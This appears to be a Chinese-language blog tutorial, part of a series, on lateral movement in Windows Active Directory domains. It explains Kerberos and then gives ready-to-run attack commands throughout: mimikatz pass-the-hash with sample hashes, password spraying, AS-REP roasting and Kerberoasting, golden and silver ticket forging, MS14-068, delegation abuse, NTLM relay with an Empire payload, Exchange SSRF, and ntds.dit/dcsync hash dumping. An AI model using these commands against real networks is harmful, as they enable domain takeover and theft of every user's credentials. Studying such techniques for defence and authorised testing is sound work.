0x00 写在前面
在上一篇文章中,我介绍了内网信息搜集,提权以及隧道搭建的有关内容,本文中,我将详细的描写内网横向移动的原理和方法。
PS:本文会用到之前文章中获取的信息,如有问题可以回头去查看:文章1
本文顺序
Kerberos协议相关方式横向-》其他方式(漏洞)横向移动-》拿下域控导域hash-》读取到密码后尝试登录其他主机
0x01 Krb相关横向移动
一、Kerberos协议
Kerberos是20世纪80年代美国麻省理工学院开发的一种基于对称密码算法的网络认证协议,允许一个非安全的网络上的两台计算机交换加密消息互相证明他们的身份。
Kerberos阐述了一个这样的问题:假设有一个开放的分布环境,用户通过用户名和口令登陆到了工作站,之后用户可能希望通过网络访问各种远程资源,而这些资源需要认证用户的身份,用户通过与控制中心交互获取信任后得到访问资源的门票,通过门票来请求资源服务。服务器能够只对授权用户提供服务,并能鉴别服务请求的种类。
(上面看的模模糊糊的没关系,我将试着用最简单且易懂的方式描述它。)
这一整个来来回回涉及的有三个角色:
- 服务访问者client
- 服务提供者server(或者AP接入点)
- 密钥分发中心KDC(由两部分组成:Authentication Server[简称AS]和Ticket Granting Server[TGS])
这一整个来来回回包含的有三个过程,六次请求/相应:
- AS-req:client向KDC发起请求认证(准确来说是KDC中的AS,所以叫AS-request),发送自己使用Client hash加密的身份信息。
- AS-rep:AS使用Client hash进行解密,若结果正确就返回用krbtgt hash加密的TGT票据(用于TGS-req),TGT里面包含PAC。
- TGS-req:client使用刚刚获得的TGT向KDC中的TGS发送请求,说明自己想请求的资源。
- TGS-rep:TGS使用krbtgt hash解密TGT,若结果正确,返回用服务器的hash加密的ST(server ticket),并不会判断client是否有权限访问,只要TGT正确即可。
- AP_req:client拿着获得的ST去服务器请求资源。
- AP_rep:server使用自己的hash解密ST,若解密正确,则拿着获取的PAC去访问KDC判断client是否有权限访问。KDC解密PAC后获取用户sid以及所在组的信息,并根据访问控制表(ACL)判断权限。若符合,server返回资源给client。
最后用一张图来总结:
这里作为对krb认证过程的补充。
服务主体名称SPN(ServicePrincipal Names)
是服务实例(比如MySQL)的唯一标识,krb身份验证使用SPN将服务实例与服务登录帐户相关联,若在整个林或域中计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。若想使用 Kerberos协议来认证服务,那么必须正确配置SPN。
SPN分为两种类型:一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为Local System或Network Service时,SPN注册在机器帐户(Computers)下。另一种是注册在活动目录的域用户帐户下,当一个服务的权限为一个域用户时,SPN注册在域用户帐户下。
特权属性证书PAC(Privilege Attribute Certificate)
PAC是微软为了解决域内不同权限的用户访问不同资源的问题。PAC中包含用户的sid和用户所在组,用于服务器向KDC确认访问者是否有权限访问相关资源。PAC对于client和服务器全程都是不可见的,只有KDC能够制作和查看PAC。
访问控制列表ACL(Access Control List)的那些事
Windows访问控制模型(Access Control Model)是Windows安全的基础组件,它由两部分:访问令牌(Access Token)和安全描述符(Security Descriptor)组成,他们分别被访问者和被访问对象所持有。
其中访问令牌是与Windows的账户相互对相应的,当某一账户登录时,系统会生成此用户的访问令牌并分发给启动的进程,当账户通过某一进程访问某些对象或者执行某些系统管理相关的操作时,Windows会检查访问令牌与被访问对象所持有的安全描述符,来判断是否允许相关操作。
访问令牌中包含:用户标识符与用户所属组标识符,用户权限列表等信息,通过SID进行描述。
PS:安全标识符SID(Security Identity)是Windows中每个账户和账户组都有的一个唯一的标识符,分为:内置sid和自动分配的sid。保证了角色(账户/账户组)的唯一性。形式:S-[修订级别]-[权值]-[标识符]
安全描述符中包含:拥有者的sids,以及访问控制列表(ACL)。
其中ACL又包含了:自主访问控制列表 DACL(Discretionary Access Control List)和系统访问控制列表 SACL(System Access Control List)。
其中DACL包含:零个或者多个访问控制项ACE。(通过一系列ACE定义了所有被允许或者禁止的安全对象的访问者。)
关于SACL:主要是用于系统审计,它的内容指定了当特定账户对这个对象执行特定操作时,记录到系统日志中。
二、AS-req
原理:攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常使用NTLM身份认证,就是把明文密码加密后生成hash用来登录。如果加密方式是RC4,那么是pass the hash;若加密方式为AES key则是pass the key。两者都需要获取ntlm hash。
pass the hash
使用mimikatz
privilege::debug
sekurlsa::logonpasswords //获取ntlm hash
sekurlsa::pth /user:administrator /domain:lce.com /ntlm:ccef208c6485269c20db2cad21734fe7 //pth
其他工具:powershell-Invoke-TheHash-master
其他工具:CrackMapExec网段批量pth
PS:
Pass the Hash with Remote Desktop:使用ntlm远程登陆桌面,前提是需要对方开启受限管理员模式。
sekurlsa::pth /user:administrator /domain:lce.com /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin" //Pass the Hash with Remote
pass the key
使用mimikatz
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:lce.com /aes256:c4388a1fb9bd65a88343a32c09e53b
根据域用户登录返回信息可以判断是否存在这个用户,可以用来及逆行域用户名枚举;在有域用户的情况下,可以使用LDAP查询到域内用户,在上一篇文章中已经做过了。
passwordspraying密码喷洒,使用获取的密码爆破用户。
使用KerBrute进行用户枚举和密码喷洒
kerbrute_windows_amd64.exe userenum -d 域名 username.txt
kerbrute_windows_amd64.exe passwordspray -d 域名 username.txt 爆破密码
使用DomainPasswordSpray.ps1进行密码喷洒
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password admin.123 //自动成成当前域的用户列表,并使用密码去跑
Invoke-DomainPasswordSpray -Userlist username.txt -Domain lce.com -PasswordList .\password.txt -Outfile out.txt //指定用户列表和密码列表,并输出到指定文件
三、AS-rep
对于域用户,如果设置了选项”Do not require Kerberos preauthentication”,此时向域控制器的88端口发送AS-req请求,对收到的AS-rep内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose //查找符合条件的用户
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl //导出可用用户hash
hashcat -m 18200 '获取的hash,拼接成hashcat能够识别的格式需要在$krb5asrep后面添加$23' password.lst -o found.txt --force //使用hashcat破解
AS-rep中AS返回给client的TGT中的encpart是使用krbtgt用户的hash进行加密的,所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控,虽然域内用户密码常会修改,但是krbtgt是很少修改的。
使用mimikatz
log "lsadump::dcsync /domain:lce.com /user:krbtgt" //导出krbtgt的hash,获取sid和aes256值
kerberos::golden /domain:lce.com /sid:--- /aes256:--- /user:god /ticket:gold.kirbi //生成gold.kirbi,金票据
kerberos::ptt gold.kirbi //导入金票据获得域控权限
四、TGS-rep
PAC与MS14-068是密钥分发中心(KDC)的Windows漏洞,也是域中最严重的漏洞之一。造成的原因是KDC无法正确检查Kerberos票证请求时附带的特权属性证书(PAC)中的签名是否有效,我们只需要把修改后的PAC进行MD5就可以得到新的校验和。所以它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。用户可以通过提交具有改变的PAC的Kerberos TGT来获得票证,使得域内任何一个普通用户,将自己提升至域管权限。
使用ms14-068利用工具
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 //得到.ccache文件
kerberos::purge //清除所有凭证
kerberos::list //查看当前凭证
kerberos::ptc 票据文件 //注入票据到内存,显示“Injecting ticket : OK”
PS:除了ms14-068.exe,也可以使用goldenPac.py,Pykek等工具
使用kekeo
tgt::ask /user:administrator /domain:lce.com /ntlm:xxxxxx
kerberos::ptt TGT_administrator@lce.comxxxxx.kirbi
使用mimikatz
privilege::debug
sekurlsa::tickets /export //导出票据
kerberos::purge
kerberos::ptt 票据文件
原理:client使用TGT访问TGS来获取访问某一SPN服务的票据ST,此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName字段中注册,client可以与TGS协商指定支持的Kerberos加密类型,这样就留下了隐患。TGS返回给client的ST使用了注册了所要求的SPN的帐户的NTLM哈希进行加密。我们就可以提取出加密的服务票证并进行破解,得到目标账户明文密码。
使用mimikatz
kerberos::ask /target:MySQL/win7.xie.com:3306 //请求服务票据
kerberos::list
kerberos::list /export //导出.kirbi的票据文件
hashcat64.exe -m 13100 hash.txt passwords.txt //离线解密
PS:除了使用mimikatz和hashcat以外,也可以使用Rubeus、Empire、msf等
TGS-rep中TGS返回给client的ST中的encpart是使用服务的hash进行加密的,我们可以拿到服务的hash,就可以伪造访问任意用户的ST票据,但只能访问特定的服务。白银票据不带有KDC签名的PAC,因此目标主机如果验证KDC的PAC签名,那么将失去作用。
使用mimikatz
privilege::debug
sekurlsa::logonpasswords //导出机器hash
kerberos::golden /domain:lce.com /sid:S-1-5-2xxx /target:xxx /rc4:ntlmxxxxxxx /service:cifs /user:administrator /ptt //获取目标主机文件共享服务cifs
五、委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派。
user会将从KDC处得到的TGT发送给访问的service1(可以是任意服务),service1拿到TGT之后可以通过TGT访问域内任意其他服务。
利用非约束委派是一种被动的方式,我们需要被害主机主动访问我们已经控制的一台域内主机上的服务。
Import-Module PowerView.ps1 //使用powerview
Get-NetUser -Unconstrained -Domain lce.com //查询设置了非约束委派的用户
Get-NetComputer -Unconstrained -Domain lce.com //查询设置了非约束委派的主机
把已经控制的主机用户设置为非约束委派,并且服务被其他主机访问的情况下才可继续利用
privilege::debug //使用mimikatz导出被害主机发送过来的TGT即可利用
sekurlsa::tickets /export
kerberos::ptt xxx.kirbi
非约束委派非常不安全,微软发布了约束委派,包括一组S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。S4U2Self让service1向KDC获取访问service1的ST1;S4U2Proxy让service1代表用户身份通过ST1获取ST2,并且不允许service1以用户的身份去访问其他服务。
约束委派的利用思想是自己伪装成service1,访问service2的服务。
Get-DomainUser -TrustedToAuth -Domain lce.com
Get-DomainComputer -TrustedToAuth -Domain lce.com
确认账号设置了约束委派。
tgt::ask /user:w7 /domain:lce.com /password:w7.admin /ticket:w7.kirbi //用kekeo请求用户TGT
tgs::s4u /tgt:TGT_filename /user:要伪造的用户名@域名 /service:伪造访问的服务名/主机的FQDN名称 //通过kekeo请求,S4U2Self获取到ST1以及S4U2Proxy获取到服务的ST
kerberos::ptt xxx.kirbi //用mimikatz将ST2导入即可
Windows Server 2012中引入了基于资源的约束委派,它与传统约束委派非常相似,但配置相反。此外,普通的约束委派的配置需要SeEnableDelegation权限,而基于资源的约束委派只需要LDAP权限就可以在用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid。
攻击利用:攻击者配置从服务A到服务B的基于资源的约束委派,之后调用s4u2self和s4u2proxy作为服务A,以获取特权用户对服务B的TGS,以破坏目标主机。
Rubeus.exe hash /user:用户名 /password:密码 /domain:lce.com 转为hash
配置从服务A到服务B的基于资源的约束委派
Rubeus.exe s4u /user:用户名$ /rc4:XXX /impersonateuser:administrator /msdsspn:cifs/目标主机 /ptt
0x02其他漏洞横向移动
Net-ntlm-relay
LM-Hash:早期Windows使用的密码存储,若可用,可以从windows上的SAM数据库或域控制器上的NTDS数据库中获取。
NT-Hash:现代Windows系统上存储密码的方式,通常被称为NTLMhash。
Net-NTLM-hash:是基于用户的NT-hash值经过一定的算法产生的。
原理:在使用一些服务的过程中,需要带有Windows的自身的认证信息,其实就是Net-NTLM的Hash。我们可以截获Net-NTLM-hash,然后转发给真正的服务器,我们就可以通过认证。
使用Impcaket中的ntlmrelayx.py、empire和responder
思路:
1.诱导被害者发送Net-NTLMhash,并获取
2.重放攻击
步骤:
使用empire生成powershell恶意脚本
ntlmrelayx.py -t 目标ip(域控) -c '生成的powershell脚本内容' //开启中继,收到net-ntlm-hash后会自动relay到域控中
Responder.py -I eth0 -r -d –v //需要关闭responder的smb和http
目标主机执行net use \\whoami //会发送smb流量,攻击者收到会话
PS:除了上述方法外,还可以使用诸如MultiRelayx.py、Impacket中的smbrelayx.py、Metasploit中的smb_relay模块等方式获取被害者Net-NTLMhash,可以多多思考。
Exchange SSRF
exchange存在ssrf漏洞也就是:CVE-2018-8581,自己使用http服务将自己的认证信息reply到域控的ldap中,之后修改ACL,获得dcsync的权限,dump出hash。
使用Exchange2domain.py
Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip //如果只需要dump下krbtgt则使用
MS17-010、MS08-067等漏洞
直接使用exp或者msf内置的永恒之蓝等漏洞进行攻击,通过隧道打内网内机器。也可以找其他漏洞比如CVE-2019-0708是WindowsRDP的一个洞。
内网web服务漏洞
如果内网搭建了web服务,可以拿一些常用工具扫一扫。比如弱口令、未授权、RCE、反序列化等等。你懂的。需要web漏洞的也可以交流。
0x03 导域Hash
拿下域控后,我们将域的hash导出,可以得到所有用户的密码。而众所周知,Windows密码经过hash后存储,本地存放在hklm\sam以及hklm\system注册表中,域内存放在域控的C:\windows\ntds\ntds.dit中。
方法1:使用卷影拷贝服务提取域控的ntds.dit,之后再将其中的hash导出
ntdsutil snapshot "activate instance ntds" creat quit quit //创建快照
ntdsutil snapshot "mount {快照id}" quit quit //挂载快照
下载到本地
ntdsutil snapshot "unmount {快照id}" quit quit //卸载快照
ntdsutil snapshot "delete {快照id}" quit quit //删除快照
reg save HKLM\SYSTEM c:\windows\temp\sys.hiv //首先通过注册表的方式获取KEY,再用NTDSDumpEx获取所有域用户hash
NTDSDdumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
方法2:利用mimikatz自带的dcsync功能直接读取ntds.dit,并检索出hash值
mimikazt "lsadump::dcsync /domain:lce.com /all /csv"
0x04 登录其他主机
可以根据获取到的明文密码尝试登陆其他主机,列举一些工具,可以尝试使用。
0x05 结语
关于内网横向的内容就写到这里,写的当然不全面,权当作为入门内网的学习吧,如有问题欢迎交流,感谢阅读。另外,不出意外的话会在下篇文章中写权限维持和免杀的相关内容,就当作是收尾了。